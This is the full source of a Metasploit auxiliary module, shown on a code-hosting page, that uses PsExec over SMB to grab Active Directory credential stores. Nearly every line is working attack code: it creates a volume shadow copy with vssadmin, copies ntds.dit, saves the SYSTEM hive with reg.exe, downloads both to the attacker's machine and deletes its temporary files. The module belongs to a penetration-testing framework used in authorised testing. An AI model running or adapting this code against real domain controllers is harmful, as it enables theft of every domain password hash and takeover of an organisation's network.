Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
27916 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
# Exploit mixins should be called first
9
include Msf::Exploit::Remote::SMB::Client::Psexec
10
include Msf::Auxiliary::Report
11
include Msf::OptionalSession::SMB
12
13
# Aliases for common classes
14
SIMPLE = Rex::Proto::SMB::SimpleClient
15
XCEPT = Rex::Proto::SMB::Exceptions
16
CONST = Rex::Proto::SMB::Constants
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility',
23
'Description' => %q{
24
This module authenticates to an Active Directory Domain Controller and creates
25
a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the
26
ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM
27
hive copy can be used in combination with other tools for offline extraction of AD
28
password hashes. All of this is done without uploading a single binary to the
29
target host.
30
},
31
'Author' => [
32
'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__
33
],
34
'License' => MSF_LICENSE,
35
'References' => [
36
[ 'URL', 'http://sourceforge.net/projects/smbexec' ],
37
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
38
[ 'ATT&CK', Mitre::Attack::Technique::T1003_003_NTDS ],
39
[ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ]
40
],
41
'Notes' => {
42
'Stability' => [CRASH_SAFE],
43
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK],
44
'Reliability' => []
45
}
46
)
47
)
48
49
register_options([
50
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
51
OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']),
52
OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']),
53
OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', false]),
54
])
55
end
56
57
# This is the main control method
58
def run
59
# Initialize some variables
60
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
61
bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
62
createvsc = 'vssadmin create shadow /For=%SYSTEMDRIVE%'
63
@ip = datastore['RHOST']
64
@smbshare = datastore['SMBSHARE']
65
# Try and connect
66
if session
67
print_status("Using existing session #{session.sid}")
68
self.simple = session.simple_client
69
@ip = simple.address
70
else
71
return unless connect
72
73
# Try and authenticate with given credentials
74
begin
75
smb_login
76
rescue StandardError => e
77
print_error("Unable to authenticate with given credentials: #{e}")
78
return
79
end
80
end
81
# If a VSC was specified then don't try and create one
82
if !datastore['VSCPATH'].empty?
83
print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
84
vscpath = datastore['VSCPATH']
85
else
86
unless datastore['CREATE_NEW_VSC']
87
vscpath = check_vss(text, bat)
88
end
89
vscpath ||= make_volume_shadow_copy(createvsc, text, bat)
90
end
91
92
if vscpath
93
if copy_ntds(vscpath, text) && copy_sys_hive
94
download_ntds(datastore['WINPATH'] + '\\Temp\\ntds')
95
download_sys_hive(datastore['WINPATH'] + '\\Temp\\sys')
96
else
97
print_error('Failed to find a volume shadow copy. Issuing cleanup command sequence.')
98
end
99
end
100
cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")
101
disconnect
102
end
103
104
# Thids method will check if a Volume Shadow Copy already exists and use that rather
105
# then creating a new one
106
def check_vss(text, bat)
107
print_status('Checking if a Volume Shadow Copy exists already.')
108
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
109
command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
110
psexec(command)
111
data = smb_read_file(datastore['SMBSHARE'], @ip, text)
112
vscs = []
113
data.each_line { |line| vscs << line if line.include?('GLOBALROOT') }
114
if vscs.empty?
115
print_status('No VSC Found.')
116
return nil
117
end
118
vscpath = prepath + vscs[vscs.length - 1].to_s.split('ShadowCopy')[1].to_s.chomp
119
print_good("Volume Shadow Copy exists on #{vscpath}")
120
return vscpath
121
rescue StandardError => e
122
print_error("Unable to determine if VSS is enabled: #{e}")
123
return nil
124
end
125
126
# Create a Volume Shadow Copy on the target host
127
def make_volume_shadow_copy(createvsc, text, bat)
128
begin
129
# Try to create the shadow copy
130
command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
131
print_status('Creating Volume Shadow Copy')
132
psexec(command)
133
# Get path to Volume Shadow Copy
134
vscpath = get_vscpath(text)
135
rescue StandardError => e
136
print_error("Unable to create the Volume Shadow Copy: #{e}")
137
return nil
138
end
139
if vscpath
140
print_good("Volume Shadow Copy created on #{vscpath}")
141
return vscpath
142
else
143
return nil
144
end
145
end
146
147
# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host
148
def copy_ntds(vscpath, text)
149
ntdspath = vscpath.to_s + '\\' + datastore['WINPATH'] + '\\NTDS\\ntds.dit'
150
command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"
151
psexec(command)
152
if !check_ntds(text)
153
return false
154
end
155
156
return true
157
rescue StandardError => e
158
print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{e}")
159
return false
160
end
161
162
# Checks if ntds.dit was copied to the Windows Temp directory
163
def check_ntds(text)
164
print_status('Checking if NTDS.dit was copied.')
165
check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}"
166
psexec(check)
167
output = smb_read_file(@smbshare, @ip, text)
168
if output.include?('ntds')
169
return true
170
end
171
172
return false
173
end
174
175
# Copies the SYSTEM hive file to the Temp directory on the target host
176
def copy_sys_hive
177
# Try to create the sys hive copy
178
command = '%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y'
179
return psexec(command)
180
rescue StandardError => e
181
print_error("Unable to copy the SYSTEM hive file: #{e}")
182
return false
183
end
184
185
# Download the ntds.dit copy to your attacking machine
186
def download_ntds(file)
187
print_status('Downloading ntds.dit file')
188
begin
189
# Try to download ntds.dit
190
simple.connect("\\\\#{@ip}\\#{@smbshare}")
191
remotefile = simple.open(file.to_s, 'rob')
192
data = remotefile.read
193
remotefile.close
194
ntds_path = store_loot('psexec.ntdsgrab.ntds', 'application/octet-stream', @ip, data, 'ntds.dit')
195
print_good("ntds.dit stored at #{ntds_path}")
196
rescue StandardError => e
197
print_error("Unable to download ntds.dit: #{e}")
198
return e
199
end
200
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
201
end
202
203
# Download the SYSTEM hive copy to your attacking machine
204
def download_sys_hive(file)
205
print_status('Downloading SYSTEM hive file')
206
begin
207
# Try to download SYSTEM hive
208
simple.connect("\\\\#{@ip}\\#{@smbshare}")
209
remotefile = simple.open(file.to_s, 'rob')
210
data = remotefile.read
211
remotefile.close
212
hive_path = store_loot('psexec.ntdsgrab.hive', 'application/octet-stream', @ip, data, 'system-hive')
213
print_good("SYSTEM hive stored at #{hive_path}")
214
rescue StandardError => e
215
print_error("Unable to download SYSTEM hive: #{e}")
216
return e
217
end
218
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
219
end
220
221
# Gets the path to the Volume Shadow Copy
222
def get_vscpath(file)
223
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
224
vsc = ''
225
output = smb_read_file(@smbshare, @ip, file)
226
output.each_line do |line|
227
vsc += line if line.include?('GLOBALROOT')
228
end
229
return prepath + vsc.split('ShadowCopy')[1].chomp
230
rescue StandardError
231
print_error('Could not determine the exact path to the VSC check your WINPATH')
232
return nil
233
end
234
235
# Removes files created during execution.
236
def cleanup_after(*files)
237
simple.connect("\\\\#{@ip}\\#{@smbshare}")
238
print_status('Executing cleanup...')
239
files.each do |file|
240
if smb_file_exist?(file)
241
smb_file_rm(file)
242
end
243
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
244
print_error("Unable to cleanup #{file}. Error: #{e}")
245
end
246
left = files.collect { |f| smb_file_exist?(f) }
247
if left.any?
248
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(', ')} from the target.")
249
else
250
print_good('Cleanup was successful')
251
end
252
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
253
end
254
end
255
256